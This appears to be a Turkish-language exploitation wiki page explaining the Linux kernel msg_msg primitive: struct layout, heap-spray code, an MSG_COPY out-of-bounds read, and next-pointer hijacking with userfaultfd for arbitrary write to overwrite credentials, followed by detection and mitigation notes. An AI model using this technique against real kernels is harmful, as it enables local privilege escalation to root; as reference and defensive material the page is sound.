Skip to content

msg_msg arbitrary read/write object

System V message'leri (msgsnd/msgrcv), inline header'ı — m_ts ve next — kernel'in ne kadar ve nereden/nereye kopyalayacağını belirleyen elastic kmalloc object'lerdir; bir struct msg_msg üzerindeki tek seferlik corruption'ı relative OOB read'e veya next pointer üzerinden sürülen arbitrary read/write'a dönüştürür.

Mechanism

Note

Her msgsnd() çağrısı, sabit bir struct msg_msg header ile başlayan ve hemen ardından inline olarak message text'in ilk diliminin geldiği bir kmalloc chunk allocate eder. Bir attacker için iki header field'ı belirleyicidir:

  • m_ts — message text size'ı. Receive sırasında kernel tam olarak m_ts byte'ı userland'e kopyalar. m_ts'yi gerçek payload'ın ötesine şişirmek bir relative OOB read verir.
  • next — bir struct msg_msgseg continuation segment'ine giden pointer. Bir message birden fazla chunk'a yayıldığında kernel bu pointer'a güvenir: continuation data'yı (receive'de) next'ten ya da (send'de, chunk zaten link'liyken çalışan copy_from_user aracılığıyla) next'e kopyalar. Bu yüzden next'i attacker'ın seçtiği bir kernel address ile overwrite etmek arbitrary read (msgrcv) ya da, copy ortasında bir userfaultfd stall ile arbitrary write (msgsnd) sağlar.

İhlal edilen invariant şudur: m_ts ve next'in object'in kendi allocation'ını tarif etmesi beklenir. Bunlar normal heap data olduğundan, header'a dokunan herhangi bir adjacent overflow, UAF write ya da cross-cache reclaim attacker'ın object'in geometry'sini allocation sonrasında yeniden tanımlamasına izin verir — işte elastic object'in tanımı budur.

Header layout (ipc/msgutil.c ve corCTF 2021 writeup'larından):

struct msg_msg {
    struct list_head m_list;    /* 0x00: queue links; also leaks heap ptrs if read */
    long  m_type;               /* 0x10: message type (mtype) */
    size_t m_ts;                /* 0x18: text size  <-- inflate for OOB read */
    struct msg_msgseg *next;    /* 0x20: continuation segment <-- hijack for arb r/w */
    void *security;             /* 0x28: LSM blob, usually NULL */
    /* message payload follows immediately */
};                              /* sizeof == 0x30 */

struct msg_msgseg {
    struct msg_msgseg *next;    /* 0x00: next continuation */
    /* inline data follows */
};                              /* header == 0x8 */

DATALEN_MSG = PAGE_SIZE - sizeof(struct msg_msg) = 0xfd0; DATALEN_SEG = PAGE_SIZE - sizeof(struct msg_msgseg) = 0xff8. DATALEN_MSG'den büyük bir message, load_msg()/alloc_msg() tarafından bir header chunk artı singly linked bir msg_msgseg chunk zinciri olarak bölünür (default msgmax 8192 ⇒ en fazla birkaç segment).

Walkthrough

Message, boyutu kontrol edilebilen bir kmalloc allocation'dır: payload length'i öyle seç ki chunk hedef slab cache'ine düşsün (örn. kmalloc-cg-1k, kmalloc-4k), freelist'i groom etmek için bolca spray yap, ardından bir header'ı corrupt et.

#include <sys/ipc.h>
#include <sys/msg.h>

#define DATALEN_MSG 0xfd0

/* size = total user bytes; header chunk holds min(size, DATALEN_MSG) inline */
struct msgbuf_big { long mtype; char mtext[0x2000]; };

int qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);

struct msgbuf_big m = { .mtype = 1 };
memset(m.mtext, 'A', sizeof(m.mtext));
/* sending 0x1fc8 bytes -> one header chunk (0xfd0 inline) + one msg_msgseg chunk */
msgsnd(qid, &m, 0x1fc8, 0);

(a) Relative OOB read — m_ts'yi şişir. Bir UAF/overflow m_ts'yi gerçek payload'dan daha büyük bir değere çıkardıktan sonra, MSG_COPY ile non-destructive şekilde geri oku:

struct msgbuf_big out;
/* MSG_COPY (needs CONFIG_CHECKPOINT_RESTORE) copies via memcpy and leaves the
   message in the queue, so the inflated read can be repeated */
ssize_t n = msgrcv(qid, &out, sizeof(out.mtext), 0, MSG_COPY | IPC_NOWAIT);
/* out.mtext now contains m_ts bytes, spilling past the original chunk */

Warning

MSG_COPY (do_msgrcv), segment segment memcpy yapan copy_msg()'yi kullanır. İnflated read, kernel'in bir continuation beklediği noktaya ulaştığında chunk'ın next qword'ünü dereference eder. O qword non-NULL bir çöp ise kernel fault verir. Writeup'lardan gelen kanonik kural: "the next segment has to start with a null qword to avoid kernel panics." Adjacent object'i öyle groom et ki traverse edilen next ya NULL ya da geçerli bir msg_msgseg olsun.

(b) Arbitrary read — next'i hijack et. Bir header chunk'ı message queue üzerinden free et (m_list.next/prev'i corrupt et ki unlink seçtiğin bir address'i free etsin), onu yeniden allocate et ve next'i hedef kernel address'ini gösterecek şekilde overwrite et. Ardından gelen bir msgrcv(), continuation data'yı hedeften çekerek userland'e kopyalar. Zincirin temiz şekilde sonlanması için hedef bir NULL qword (kendi next'i) ile başlamalıdır.

(c) Arbitrary write — next + userfaultfd. Multi-segment bir message'ın msgsnd()'i sırasında load_msg(), header chunk allocate edildikten sonra her segment'e bir copy_from_user yapar. Segment payload'ını userfaultfd-registered bir page'e yerleştir ki copy msgsnd ortasında stall etsin; stall esnasında next'i hedefe corrupt et; fault'u serbest bırak ve copy_from_user attacker byte'larını hedef address'e yazsın.

expected end-to-end primitive:
  spray msg_msg in target cache ──▶ corrupt one header (overflow / UAF / cross-cache)
    ├─ inflate m_ts  ─▶ MSG_COPY ─▶ relative OOB read (leak heap/kbase, find creds)
    └─ hijack next   ─▶ msgrcv    ─▶ arbitrary read of cred struct
                     └─ msgsnd+uffd ─▶ arbitrary write (overwrite creds uid/gid ⇒ root)

Bu, CVE-2021-22555 (Netfilter xt_compat OOB) ile corCTF 2021 "Fire of Salvation" / "Wall of Perdition" challenge'larının arkasındaki read/write engine'idir; sadece m_ts kullanan varyant için relative OOB read via msg_msg ilgili notuna bak.

Detection

  • MSG_COPY read'leri CONFIG_CHECKPOINT_RESTORE gerektirir; unprivileged msgrcv(..., MSG_COPY) nadirdir ve flag'lenebilir.
  • Çok sayıda aynı boyutta message allocate eden msgget/msgsnd patlamaları (heap spray imzası). Per-namespace msgmni/msgmax accounting'i hacmi sınırlar ve denetler.

Mitigation

  • copy_msg() memcpy kullanır, dolayısıyla hardened-usercopy inflated copy'yi durdurmaz — savunma ilk header corruption'ını engellemeye dayanır: allocator hardening (CONFIG_SLAB_FREELIST_HARDENED), cache isolation / CONFIG_KMALLOC_SPLIT_VARSIZE ve msg_msg'yi victim object'lerden uzak tutan per-cgroup kmalloc-cg-* ayrımı.
  • CONFIG_CHECKPOINT_RESTORE'u devre dışı bırakmak non-destructive MSG_COPY read yolunu kaldırır.
  • msgmax/msgmni'yi kısıtlamak spray yüzeyini küçültür.

References